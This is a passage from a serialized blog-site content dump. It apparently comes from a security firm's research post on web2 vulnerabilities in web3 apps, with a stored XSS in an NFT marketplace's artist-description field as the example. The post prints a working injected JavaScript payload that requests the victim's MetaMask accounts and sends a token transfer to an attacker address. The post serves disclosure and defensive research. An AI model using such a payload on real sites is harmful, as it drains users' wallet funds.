",{"type":23,"tag":87,"props":31202,"children":31203},{},[31204],{"type":28,"value":31205},"was",{"type":28,"value":31207}," fixed.",{"type":23,"tag":24,"props":31209,"children":31210},{},[31211],{"type":28,"value":31212},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":23,"tag":18473,"props":31214,"children":31216},{"className":31215,"dataFootnotes":7},[18476],[31217,31222],{"type":23,"tag":47,"props":31218,"children":31220},{"className":31219,"id":15540},[18481],[31221],{"type":28,"value":18484},{"type":23,"tag":131,"props":31223,"children":31224},{},[31225],{"type":23,"tag":135,"props":31226,"children":31227},{"id":30421},[31228,31230],{"type":28,"value":31229},"Thankfully, these funds were later returned. ",{"type":23,"tag":36,"props":31231,"children":31233},{"href":30449,"ariaLabel":18587,"className":31232,"dataFootnoteBackref":7},[18589],[31234],{"type":28,"value":18592},{"type":23,"tag":2957,"props":31236,"children":31237},{},[31238],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":31240},[31241,31242,31246,31247],{"id":30516,"depth":226,"text":30519},{"id":31084,"depth":226,"text":31087,"children":31243},[31244,31245],{"id":31099,"depth":524,"text":31102},{"id":31120,"depth":524,"text":31123},{"id":31160,"depth":226,"text":31163},{"id":15540,"depth":226,"text":18484},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":31252,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":31253,"description":31254,"author":31255,"image":31258,"date":31260,"isFeatured":18,"tags":31261,"onBlogPage":18,"body":31264,"_type":2967,"_id":35476,"_source":2969,"_file":35477,"_stem":35478,"_extension":2972},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[31256,31257],"caue","bruno",{"src":31259,"height":13703,"width":13703},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[31262,31263],"nft-marketplaces","xss",{"type":20,"children":31265,"toc":35459},[31266,31270,31275,31279,31284,31289,31294,31310,31316,31329,31351,31358,31363,31370,31375,31381,31386,31391,31396,31401,31412,31417,32385,32395,32407,32414,32419,33241,33246,33251,33256,33261,34045,34050,34132,34137,34206,34212,34217,34222,34449,34462,34467,34472,34477,34484,34489,34496,34502,34507,34512,34517,34836,34841,34847,34863,34869,34874,34879,34889,34894,34899,34908,34913,34919,34935,34948,34953,34958,34978,34985,34990,34997,35006,35011,35032,35085,35090,35141,35155,35160,35174,35289,35312,35396,35419,35424,35429,35434,35439,35444,35450,35455],{"type":23,"tag":47,"props":31267,"children":31268},{"id":29072},[31269],{"type":28,"value":29075},{"type":23,"tag":24,"props":31271,"children":31272},{},[31273],{"type":28,"value":31274},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":23,"tag":9693,"props":31276,"children":31277},{"id":3021},[31278],{"type":28,"value":3024},{"type":23,"tag":24,"props":31280,"children":31281},{},[31282],{"type":28,"value":31283},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":23,"tag":24,"props":31285,"children":31286},{},[31287],{"type":28,"value":31288},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":23,"tag":47,"props":31290,"children":31291},{"id":31263},[31292],{"type":28,"value":31293},"XSS",{"type":23,"tag":24,"props":31295,"children":31296},{},[31297],{"type":23,"tag":87,"props":31298,"children":31299},{},[31300,31302,31309],{"type":28,"value":31301},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":23,"tag":36,"props":31303,"children":31306},{"href":31304,"rel":31305},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[40],[31307],{"type":28,"value":31308},"even explain it to myself",{"type":28,"value":124},{"type":23,"tag":9693,"props":31311,"children":31313},{"id":31312},"managing-metadata",[31314],{"type":28,"value":31315},"Managing Metadata",{"type":23,"tag":24,"props":31317,"children":31318},{},[31319,31321,31328],{"type":28,"value":31320},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":23,"tag":36,"props":31322,"children":31325},{"href":31323,"rel":31324},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[40],[31326],{"type":28,"value":31327},"payloads",{"type":28,"value":124},{"type":23,"tag":24,"props":31330,"children":31331},{},[31332,31334,31341,31343,31349],{"type":28,"value":31333},"We showcase this vulnerability in the ",{"type":23,"tag":36,"props":31335,"children":31338},{"href":31336,"rel":31337},"https://rocki.com/",[40],[31339],{"type":28,"value":31340},"Rocki Marketplace",{"type":28,"value":31342},". The ",{"type":23,"tag":209,"props":31344,"children":31346},{"className":31345},[],[31347],{"type":28,"value":31348},"artistDescription",{"type":28,"value":31350}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":23,"tag":24,"props":31352,"children":31353},{},[31354],{"type":23,"tag":4009,"props":31355,"children":31357},{"alt":7,"src":31356},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":23,"tag":24,"props":31359,"children":31360},{},[31361],{"type":28,"value":31362},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":23,"tag":24,"props":31364,"children":31365},{},[31366],{"type":23,"tag":4009,"props":31367,"children":31369},{"alt":7,"src":31368},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":23,"tag":24,"props":31371,"children":31372},{},[31373],{"type":28,"value":31374},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":23,"tag":9693,"props":31376,"children":31378},{"id":31377},"wheres-my-wallet",[31379],{"type":28,"value":31380},"Where's My Wallet",{"type":23,"tag":24,"props":31382,"children":31383},{},[31384],{"type":28,"value":31385},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":23,"tag":24,"props":31387,"children":31388},{},[31389],{"type":28,"value":31390},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":23,"tag":24,"props":31392,"children":31393},{},[31394],{"type":28,"value":31395},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":23,"tag":24,"props":31397,"children":31398},{},[31399],{"type":28,"value":31400},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":23,"tag":31402,"props":31403,"children":31405},"div",{"style":31404},"display:flex; align-items:center; flex-direction:column;",[31406],{"type":23,"tag":4009,"props":31407,"children":31411},{"src":31408,"alt":31409,"style":31410},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":23,"tag":24,"props":31413,"children":31414},{},[31415],{"type":28,"value":31416},"And here we can find the code used to achieve it :",{"type":23,"tag":202,"props":31418,"children":31422},{"className":31419,"code":31420,"language":31421,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n if (typeof window.ethereum === 'undefined') {\n console.error('Please install MetaMask to use this feature.');\n } else {\n ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n const fromAddress = accounts[0];\n const attackerAddress = '0x0000000000000000000000000000000000000000';\n const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n let tokenAbi = [\n {\n constant: false,\n inputs: [\n {\n name: '_to',\n type: 'address',\n },\n {\n name: '_value',\n type: 'uint256',\n },\n ],\n name: 'transfer',\n outputs: [\n {\n name: '',\n type: 'bool',\n },\n ],\n type: 'function',\n },\n ];\n\n const web3 = new Web3(window.ethereum);\n\n const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n const transactionObject = {\n from: fromAddress,\n to: contractAddress,\n data: tokenContract.methods\n .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n .encodeABI(),\n };\n\n web3.eth.sendTransaction(transactionObject);\n });\n }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[31423],{"type":23,"tag":209,"props":31424,"children":31425},{"__ignoreMap":7},[31426,31443,31488,31517,31533,31596,31631,31656,31681,31688,31708,31716,31732,31744,31752,31769,31786,31794,31801,31817,31833,31840,31848,31865,31877,31884,31900,31916,31923,31930,31947,31954,31962,31969,32016,32023,32087,32094,32114,32130,32146,32167,32237,32253,32260,32267,32305,32313,32320,32327,32334,32355],{"type":23,"tag":213,"props":31427,"children":31428},{"class":215,"line":216},[31429,31434,31439],{"type":23,"tag":213,"props":31430,"children":31431},{"style":230},[31432],{"type":28,"value":31433},"function",{"type":23,"tag":213,"props":31435,"children":31436},{"style":257},[31437],{"type":28,"value":31438}," request",{"type":23,"tag":213,"props":31440,"children":31441},{"style":220},[31442],{"type":28,"value":15791},{"type":23,"tag":213,"props":31444,"children":31445},{"class":215,"line":226},[31446,31451,31455,31460,31465,31469,31474,31479,31484],{"type":23,"tag":213,"props":31447,"children":31448},{"style":1362},[31449],{"type":28,"value":31450}," if",{"type":23,"tag":213,"props":31452,"children":31453},{"style":220},[31454],{"type":28,"value":400},{"type":23,"tag":213,"props":31456,"children":31457},{"style":230},[31458],{"type":28,"value":31459},"typeof",{"type":23,"tag":213,"props":31461,"children":31462},{"style":268},[31463],{"type":28,"value":31464}," window",{"type":23,"tag":213,"props":31466,"children":31467},{"style":220},[31468],{"type":28,"value":124},{"type":23,"tag":213,"props":31470,"children":31471},{"style":268},[31472],{"type":28,"value":31473},"ethereum",{"type":23,"tag":213,"props":31475,"children":31476},{"style":274},[31477],{"type":28,"value":31478}," ===",{"type":23,"tag":213,"props":31480,"children":31481},{"style":246},[31482],{"type":28,"value":31483}," 'undefined'",{"type":23,"tag":213,"props":31485,"children":31486},{"style":220},[31487],{"type":28,"value":14870},{"type":23,"tag":213,"props":31489,"children":31490},{"class":215,"line":524},[31491,31496,31500,31504,31508,31513],{"type":23,"tag":213,"props":31492,"children":31493},{"style":268},[31494],{"type":28,"value":31495}," console",{"type":23,"tag":213,"props":31497,"children":31498},{"style":220},[31499],{"type":28,"value":124},{"type":23,"tag":213,"props":31501,"children":31502},{"style":257},[31503],{"type":28,"value":14929},{"type":23,"tag":213,"props":31505,"children":31506},{"style":220},[31507],{"type":28,"value":265},{"type":23,"tag":213,"props":31509,"children":31510},{"style":246},[31511],{"type":28,"value":31512},"'Please install MetaMask to use this feature.'",{"type":23,"tag":213,"props":31514,"children":31515},{"style":220},[31516],{"type":28,"value":2867},{"type":23,"tag":213,"props":31518,"children":31519},{"class":215,"line":533},[31520,31525,31529],{"type":23,"tag":213,"props":31521,"children":31522},{"style":220},[31523],{"type":28,"value":31524}," } ",{"type":23,"tag":213,"props":31526,"children":31527},{"style":1362},[31528],{"type":28,"value":3412},{"type":23,"tag":213,"props":31530,"children":31531},{"style":220},[31532],{"type":28,"value":1375},{"type":23,"tag":213,"props":31534,"children":31535},{"class":215,"line":543},[31536,31541,31545,31550,31555,31560,31565,31570,31575,31580,31584,31588,31592],{"type":23,"tag":213,"props":31537,"children":31538},{"style":268},[31539],{"type":28,"value":31540}," ethereum",{"type":23,"tag":213,"props":31542,"children":31543},{"style":220},[31544],{"type":28,"value":124},{"type":23,"tag":213,"props":31546,"children":31547},{"style":257},[31548],{"type":28,"value":31549},"request",{"type":23,"tag":213,"props":31551,"children":31552},{"style":220},[31553],{"type":28,"value":31554},"({ ",{"type":23,"tag":213,"props":31556,"children":31557},{"style":268},[31558],{"type":28,"value":31559},"method:",{"type":23,"tag":213,"props":31561,"children":31562},{"style":246},[31563],{"type":28,"value":31564}," 'eth_requestAccounts'",{"type":23,"tag":213,"props":31566,"children":31567},{"style":220},[31568],{"type":28,"value":31569}," }).",{"type":23,"tag":213,"props":31571,"children":31572},{"style":257},[31573],{"type":28,"value":31574},"then",{"type":23,"tag":213,"props":31576,"children":31577},{"style":220},[31578],{"type":28,"value":31579},"((",{"type":23,"tag":213,"props":31581,"children":31582},{"style":268},[31583],{"type":28,"value":14743},{"type":23,"tag":213,"props":31585,"children":31586},{"style":220},[31587],{"type":28,"value":298},{"type":23,"tag":213,"props":31589,"children":31590},{"style":230},[31591],{"type":28,"value":1445},{"type":23,"tag":213,"props":31593,"children":31594},{"style":220},[31595],{"type":28,"value":1375},{"type":23,"tag":213,"props":31597,"children":31598},{"class":215,"line":551},[31599,31604,31609,31613,31618,31622,31626],{"type":23,"tag":213,"props":31600,"children":31601},{"style":230},[31602],{"type":28,"value":31603}," const",{"type":23,"tag":213,"props":31605,"children":31606},{"style":268},[31607],{"type":28,"value":31608}," fromAddress",{"type":23,"tag":213,"props":31610,"children":31611},{"style":274},[31612],{"type":28,"value":511},{"type":23,"tag":213,"props":31614,"children":31615},{"style":268},[31616],{"type":28,"value":31617}," accounts",{"type":23,"tag":213,"props":31619,"children":31620},{"style":220},[31621],{"type":28,"value":3821},{"type":23,"tag":213,"props":31623,"children":31624},{"style":514},[31625],{"type":28,"value":4116},{"type":23,"tag":213,"props":31627,"children":31628},{"style":220},[31629],{"type":28,"value":31630},"];\n",{"type":23,"tag":213,"props":31632,"children":31633},{"class":215,"line":570},[31634,31638,31643,31647,31652],{"type":23,"tag":213,"props":31635,"children":31636},{"style":230},[31637],{"type":28,"value":31603},{"type":23,"tag":213,"props":31639,"children":31640},{"style":268},[31641],{"type":28,"value":31642}," attackerAddress",{"type":23,"tag":213,"props":31644,"children":31645},{"style":274},[31646],{"type":28,"value":511},{"type":23,"tag":213,"props":31648,"children":31649},{"style":246},[31650],{"type":28,"value":31651}," '0x0000000000000000000000000000000000000000'",{"type":23,"tag":213,"props":31653,"children":31654},{"style":220},[31655],{"type":28,"value":313},{"type":23,"tag":213,"props":31657,"children":31658},{"class":215,"line":655},[31659,31663,31668,31672,31677],{"type":23,"tag":213,"props":31660,"children":31661},{"style":230},[31662],{"type":28,"value":31603},{"type":23,"tag":213,"props":31664,"children":31665},{"style":268},[31666],{"type":28,"value":31667}," contractAddress",{"type":23,"tag":213,"props":31669,"children":31670},{"style":274},[31671],{"type":28,"value":511},{"type":23,"tag":213,"props":31673,"children":31674},{"style":246},[31675],{"type":28,"value":31676}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":23,"tag":213,"props":31678,"children":31679},{"style":220},[31680],{"type":28,"value":313},{"type":23,"tag":213,"props":31682,"children":31683},{"class":215,"line":1176},[31684],{"type":23,"tag":213,"props":31685,"children":31686},{"emptyLinePlaceholder":18},[31687],{"type":28,"value":530},{"type":23,"tag":213,"props":31689,"children":31690},{"class":215,"line":1202},[31691,31695,31700,31704],{"type":23,"tag":213,"props":31692,"children":31693},{"style":230},[31694],{"type":28,"value":8162},{"type":23,"tag":213,"props":31696,"children":31697},{"style":268},[31698],{"type":28,"value":31699}," tokenAbi",{"type":23,"tag":213,"props":31701,"children":31702},{"style":274},[31703],{"type":28,"value":511},{"type":23,"tag":213,"props":31705,"children":31706},{"style":220},[31707],{"type":28,"value":25676},{"type":23,"tag":213,"props":31709,"children":31710},{"class":215,"line":1758},[31711],{"type":23,"tag":213,"props":31712,"children":31713},{"style":220},[31714],{"type":28,"value":31715}," {\n",{"type":23,"tag":213,"props":31717,"children":31718},{"class":215,"line":1767},[31719,31724,31728],{"type":23,"tag":213,"props":31720,"children":31721},{"style":268},[31722],{"type":28,"value":31723}," constant:",{"type":23,"tag":213,"props":31725,"children":31726},{"style":230},[31727],{"type":28,"value":9143},{"type":23,"tag":213,"props":31729,"children":31730},{"style":220},[31731],{"type":28,"value":944},{"type":23,"tag":213,"props":31733,"children":31734},{"class":215,"line":1789},[31735,31740],{"type":23,"tag":213,"props":31736,"children":31737},{"style":268},[31738],{"type":28,"value":31739}," inputs:",{"type":23,"tag":213,"props":31741,"children":31742},{"style":220},[31743],{"type":28,"value":25676},{"type":23,"tag":213,"props":31745,"children":31746},{"class":215,"line":1812},[31747],{"type":23,"tag":213,"props":31748,"children":31749},{"style":220},[31750],{"type":28,"value":31751}," {\n",{"type":23,"tag":213,"props":31753,"children":31754},{"class":215,"line":1838},[31755,31760,31765],{"type":23,"tag":213,"props":31756,"children":31757},{"style":268},[31758],{"type":28,"value":31759}," name:",{"type":23,"tag":213,"props":31761,"children":31762},{"style":246},[31763],{"type":28,"value":31764}," '_to'",{"type":23,"tag":213,"props":31766,"children":31767},{"style":220},[31768],{"type":28,"value":944},{"type":23,"tag":213,"props":31770,"children":31771},{"class":215,"line":1851},[31772,31777,31782],{"type":23,"tag":213,"props":31773,"children":31774},{"style":268},[31775],{"type":28,"value":31776}," type:",{"type":23,"tag":213,"props":31778,"children":31779},{"style":246},[31780],{"type":28,"value":31781}," 'address'",{"type":23,"tag":213,"props":31783,"children":31784},{"style":220},[31785],{"type":28,"value":944},{"type":23,"tag":213,"props":31787,"children":31788},{"class":215,"line":1864},[31789],{"type":23,"tag":213,"props":31790,"children":31791},{"style":220},[31792],{"type":28,"value":31793}," },\n",{"type":23,"tag":213,"props":31795,"children":31796},{"class":215,"line":1890},[31797],{"type":23,"tag":213,"props":31798,"children":31799},{"style":220},[31800],{"type":28,"value":31751},{"type":23,"tag":213,"props":31802,"children":31803},{"class":215,"line":1899},[31804,31808,31813],{"type":23,"tag":213,"props":31805,"children":31806},{"style":268},[31807],{"type":28,"value":31759},{"type":23,"tag":213,"props":31809,"children":31810},{"style":246},[31811],{"type":28,"value":31812}," '_value'",{"type":23,"tag":213,"props":31814,"children":31815},{"style":220},[31816],{"type":28,"value":944},{"type":23,"tag":213,"props":31818,"children":31819},{"class":215,"line":1912},[31820,31824,31829],{"type":23,"tag":213,"props":31821,"children":31822},{"style":268},[31823],{"type":28,"value":31776},{"type":23,"tag":213,"props":31825,"children":31826},{"style":246},[31827],{"type":28,"value":31828}," 'uint256'",{"type":23,"tag":213,"props":31830,"children":31831},{"style":220},[31832],{"type":28,"value":944},{"type":23,"tag":213,"props":31834,"children":31835},{"class":215,"line":1921},[31836],{"type":23,"tag":213,"props":31837,"children":31838},{"style":220},[31839],{"type":28,"value":31793},{"type":23,"tag":213,"props":31841,"children":31842},{"class":215,"line":3879},[31843],{"type":23,"tag":213,"props":31844,"children":31845},{"style":220},[31846],{"type":28,"value":31847}," ],\n",{"type":23,"tag":213,"props":31849,"children":31850},{"class":215,"line":3887},[31851,31856,31861],{"type":23,"tag":213,"props":31852,"children":31853},{"style":268},[31854],{"type":28,"value":31855}," name:",{"type":23,"tag":213,"props":31857,"children":31858},{"style":246},[31859],{"type":28,"value":31860}," 'transfer'",{"type":23,"tag":213,"props":31862,"children":31863},{"style":220},[31864],{"type":28,"value":944},{"type":23,"tag":213,"props":31866,"children":31867},{"class":215,"line":3918},[31868,31873],{"type":23,"tag":213,"props":31869,"children":31870},{"style":268},[31871],{"type":28,"value":31872}," outputs:",{"type":23,"tag":213,"props":31874,"children":31875},{"style":220},[31876],{"type":28,"value":25676},{"type":23,"tag":213,"props":31878,"children":31879},{"class":215,"line":3926},[31880],{"type":23,"tag":213,"props":31881,"children":31882},{"style":220},[31883],{"type":28,"value":31751},{"type":23,"tag":213,"props":31885,"children":31886},{"class":215,"line":3986},[31887,31891,31896],{"type":23,"tag":213,"props":31888,"children":31889},{"style":268},[31890],{"type":28,"value":31759},{"type":23,"tag":213,"props":31892,"children":31893},{"style":246},[31894],{"type":28,"value":31895}," ''",{"type":23,"tag":213,"props":31897,"children":31898},{"style":220},[31899],{"type":28,"value":944},{"type":23,"tag":213,"props":31901,"children":31902},{"class":215,"line":9132},[31903,31907,31912],{"type":23,"tag":213,"props":31904,"children":31905},{"style":268},[31906],{"type":28,"value":31776},{"type":23,"tag":213,"props":31908,"children":31909},{"style":246},[31910],{"type":28,"value":31911}," 'bool'",{"type":23,"tag":213,"props":31913,"children":31914},{"style":220},[31915],{"type":28,"value":944},{"type":23,"tag":213,"props":31917,"children":31918},{"class":215,"line":9150},[31919],{"type":23,"tag":213,"props":31920,"children":31921},{"style":220},[31922],{"type":28,"value":31793},{"type":23,"tag":213,"props":31924,"children":31925},{"class":215,"line":9195},[31926],{"type":23,"tag":213,"props":31927,"children":31928},{"style":220},[31929],{"type":28,"value":31847},{"type":23,"tag":213,"props":31931,"children":31932},{"class":215,"line":9301},[31933,31938,31943],{"type":23,"tag":213,"props":31934,"children":31935},{"style":268},[31936],{"type":28,"value":31937}," type:",{"type":23,"tag":213,"props":31939,"children":31940},{"style":246},[31941],{"type":28,"value":31942}," 'function'",{"type":23,"tag":213,"props":31944,"children":31945},{"style":220},[31946],{"type":28,"value":944},{"type":23,"tag":213,"props":31948,"children":31949},{"class":215,"line":23557},[31950],{"type":23,"tag":213,"props":31951,"children":31952},{"style":220},[31953],{"type":28,"value":1896},{"type":23,"tag":213,"props":31955,"children":31956},{"class":215,"line":23592},[31957],{"type":23,"tag":213,"props":31958,"children":31959},{"style":220},[31960],{"type":28,"value":31961}," ];\n",{"type":23,"tag":213,"props":31963,"children":31964},{"class":215,"line":23600},[31965],{"type":23,"tag":213,"props":31966,"children":31967},{"emptyLinePlaceholder":18},[31968],{"type":28,"value":530},{"type":23,"tag":213,"props":31970,"children":31971},{"class":215,"line":23608},[31972,31976,31981,31985,31990,31995,31999,32004,32008,32012],{"type":23,"tag":213,"props":31973,"children":31974},{"style":230},[31975],{"type":28,"value":31603},{"type":23,"tag":213,"props":31977,"children":31978},{"style":268},[31979],{"type":28,"value":31980}," web3",{"type":23,"tag":213,"props":31982,"children":31983},{"style":274},[31984],{"type":28,"value":511},{"type":23,"tag":213,"props":31986,"children":31987},{"style":230},[31988],{"type":28,"value":31989}," new",{"type":23,"tag":213,"props":31991,"children":31992},{"style":257},[31993],{"type":28,"value":31994}," Web3",{"type":23,"tag":213,"props":31996,"children":31997},{"style":220},[31998],{"type":28,"value":265},{"type":23,"tag":213,"props":32000,"children":32001},{"style":268},[32002],{"type":28,"value":32003},"window",{"type":23,"tag":213,"props":32005,"children":32006},{"style":220},[32007],{"type":28,"value":124},{"type":23,"tag":213,"props":32009,"children":32010},{"style":268},[32011],{"type":28,"value":31473},{"type":23,"tag":213,"props":32013,"children":32014},{"style":220},[32015],{"type":28,"value":2867},{"type":23,"tag":213,"props":32017,"children":32018},{"class":215,"line":23617},[32019],{"type":23,"tag":213,"props":32020,"children":32021},{"emptyLinePlaceholder":18},[32022],{"type":28,"value":530},{"type":23,"tag":213,"props":32024,"children":32025},{"class":215,"line":23659},[32026,32030,32035,32039,32043,32047,32051,32056,32060,32065,32069,32074,32078,32083],{"type":23,"tag":213,"props":32027,"children":32028},{"style":230},[32029],{"type":28,"value":31603},{"type":23,"tag":213,"props":32031,"children":32032},{"style":268},[32033],{"type":28,"value":32034}," tokenContract",{"type":23,"tag":213,"props":32036,"children":32037},{"style":274},[32038],{"type":28,"value":511},{"type":23,"tag":213,"props":32040,"children":32041},{"style":230},[32042],{"type":28,"value":31989},{"type":23,"tag":213,"props":32044,"children":32045},{"style":268},[32046],{"type":28,"value":31980},{"type":23,"tag":213,"props":32048,"children":32049},{"style":220},[32050],{"type":28,"value":124},{"type":23,"tag":213,"props":32052,"children":32053},{"style":268},[32054],{"type":28,"value":32055},"eth",{"type":23,"tag":213,"props":32057,"children":32058},{"style":220},[32059],{"type":28,"value":124},{"type":23,"tag":213,"props":32061,"children":32062},{"style":257},[32063],{"type":28,"value":32064},"Contract",{"type":23,"tag":213,"props":32066,"children":32067},{"style":220},[32068],{"type":28,"value":265},{"type":23,"tag":213,"props":32070,"children":32071},{"style":268},[32072],{"type":28,"value":32073},"tokenAbi",{"type":23,"tag":213,"props":32075,"children":32076},{"style":220},[32077],{"type":28,"value":424},{"type":23,"tag":213,"props":32079,"children":32080},{"style":268},[32081],{"type":28,"value":32082},"contractAddress",{"type":23,"tag":213,"props":32084,"children":32085},{"style":220},[32086],{"type":28,"value":2867},{"type":23,"tag":213,"props":32088,"children":32089},{"class":215,"line":23692},[32090],{"type":23,"tag":213,"props":32091,"children":32092},{"emptyLinePlaceholder":18},[32093],{"type":28,"value":530},{"type":23,"tag":213,"props":32095,"children":32096},{"class":215,"line":23700},[32097,32101,32106,32110],{"type":23,"tag":213,"props":32098,"children":32099},{"style":230},[32100],{"type":28,"value":31603},{"type":23,"tag":213,"props":32102,"children":32103},{"style":268},[32104],{"type":28,"value":32105}," transactionObject",{"type":23,"tag":213,"props":32107,"children":32108},{"style":274},[32109],{"type":28,"value":511},{"type":23,"tag":213,"props":32111,"children":32112},{"style":220},[32113],{"type":28,"value":1375},{"type":23,"tag":213,"props":32115,"children":32116},{"class":215,"line":23708},[32117,32122,32126],{"type":23,"tag":213,"props":32118,"children":32119},{"style":268},[32120],{"type":28,"value":32121}," from:",{"type":23,"tag":213,"props":32123,"children":32124},{"style":268},[32125],{"type":28,"value":31608},{"type":23,"tag":213,"props":32127,"children":32128},{"style":220},[32129],{"type":28,"value":944},{"type":23,"tag":213,"props":32131,"children":32132},{"class":215,"line":23717},[32133,32138,32142],{"type":23,"tag":213,"props":32134,"children":32135},{"style":268},[32136],{"type":28,"value":32137}," to:",{"type":23,"tag":213,"props":32139,"children":32140},{"style":268},[32141],{"type":28,"value":31667},{"type":23,"tag":213,"props":32143,"children":32144},{"style":220},[32145],{"type":28,"value":944},{"type":23,"tag":213,"props":32147,"children":32148},{"class":215,"line":23793},[32149,32154,32158,32162],{"type":23,"tag":213,"props":32150,"children":32151},{"style":268},[32152],{"type":28,"value":32153}," data:",{"type":23,"tag":213,"props":32155,"children":32156},{"style":268},[32157],{"type":28,"value":32034},{"type":23,"tag":213,"props":32159,"children":32160},{"style":220},[32161],{"type":28,"value":124},{"type":23,"tag":213,"props":32163,"children":32164},{"style":268},[32165],{"type":28,"value":32166},"methods\n",{"type":23,"tag":213,"props":32168,"children":32169},{"class":215,"line":23826},[32170,32175,32179,32183,32188,32192,32197,32201,32206,32210,32215,32219,32224,32228,32233],{"type":23,"tag":213,"props":32171,"children":32172},{"style":220},[32173],{"type":28,"value":32174}," .",{"type":23,"tag":213,"props":32176,"children":32177},{"style":257},[32178],{"type":28,"value":2629},{"type":23,"tag":213,"props":32180,"children":32181},{"style":220},[32182],{"type":28,"value":265},{"type":23,"tag":213,"props":32184,"children":32185},{"style":268},[32186],{"type":28,"value":32187},"attackerAddress",{"type":23,"tag":213,"props":32189,"children":32190},{"style":220},[32191],{"type":28,"value":424},{"type":23,"tag":213,"props":32193,"children":32194},{"style":268},[32195],{"type":28,"value":32196},"web3",{"type":23,"tag":213,"props":32198,"children":32199},{"style":220},[32200],{"type":28,"value":124},{"type":23,"tag":213,"props":32202,"children":32203},{"style":268},[32204],{"type":28,"value":32205},"utils",{"type":23,"tag":213,"props":32207,"children":32208},{"style":220},[32209],{"type":28,"value":124},{"type":23,"tag":213,"props":32211,"children":32212},{"style":257},[32213],{"type":28,"value":32214},"toWei",{"type":23,"tag":213,"props":32216,"children":32217},{"style":220},[32218],{"type":28,"value":265},{"type":23,"tag":213,"props":32220,"children":32221},{"style":246},[32222],{"type":28,"value":32223},"'100000000'",{"type":23,"tag":213,"props":32225,"children":32226},{"style":220},[32227],{"type":28,"value":424},{"type":23,"tag":213,"props":32229,"children":32230},{"style":246},[32231],{"type":28,"value":32232},"'ether'",{"type":23,"tag":213,"props":32234,"children":32235},{"style":220},[32236],{"type":28,"value":19766},{"type":23,"tag":213,"props":32238,"children":32239},{"class":215,"line":23834},[32240,32244,32249],{"type":23,"tag":213,"props":32241,"children":32242},{"style":220},[32243],{"type":28,"value":32174},{"type":23,"tag":213,"props":32245,"children":32246},{"style":257},[32247],{"type":28,"value":32248},"encodeABI",{"type":23,"tag":213,"props":32250,"children":32251},{"style":220},[32252],{"type":28,"value":1809},{"type":23,"tag":213,"props":32254,"children":32255},{"class":215,"line":23842},[32256],{"type":23,"tag":213,"props":32257,"children":32258},{"style":220},[32259],{"type":28,"value":9005},{"type":23,"tag":213,"props":32261,"children":32262},{"class":215,"line":23879},[32263],{"type":23,"tag":213,"props":32264,"children":32265},{"emptyLinePlaceholder":18},[32266],{"type":28,"value":530},{"type":23,"tag":213,"props":32268,"children":32269},{"class":215,"line":23892},[32270,32275,32279,32283,32287,32292,32296,32301],{"type":23,"tag":213,"props":32271,"children":32272},{"style":268},[32273],{"type":28,"value":32274}," web3",{"type":23,"tag":213,"props":32276,"children":32277},{"style":220},[32278],{"type":28,"value":124},{"type":23,"tag":213,"props":32280,"children":32281},{"style":268},[32282],{"type":28,"value":32055},{"type":23,"tag":213,"props":32284,"children":32285},{"style":220},[32286],{"type":28,"value":124},{"type":23,"tag":213,"props":32288,"children":32289},{"style":257},[32290],{"type":28,"value":32291},"sendTransaction",{"type":23,"tag":213,"props":32293,"children":32294},{"style":220},[32295],{"type":28,"value":265},{"type":23,"tag":213,"props":32297,"children":32298},{"style":268},[32299],{"type":28,"value":32300},"transactionObject",{"type":23,"tag":213,"props":32302,"children":32303},{"style":220},[32304],{"type":28,"value":2867},{"type":23,"tag":213,"props":32306,"children":32307},{"class":215,"line":23905},[32308],{"type":23,"tag":213,"props":32309,"children":32310},{"style":220},[32311],{"type":28,"value":32312}," 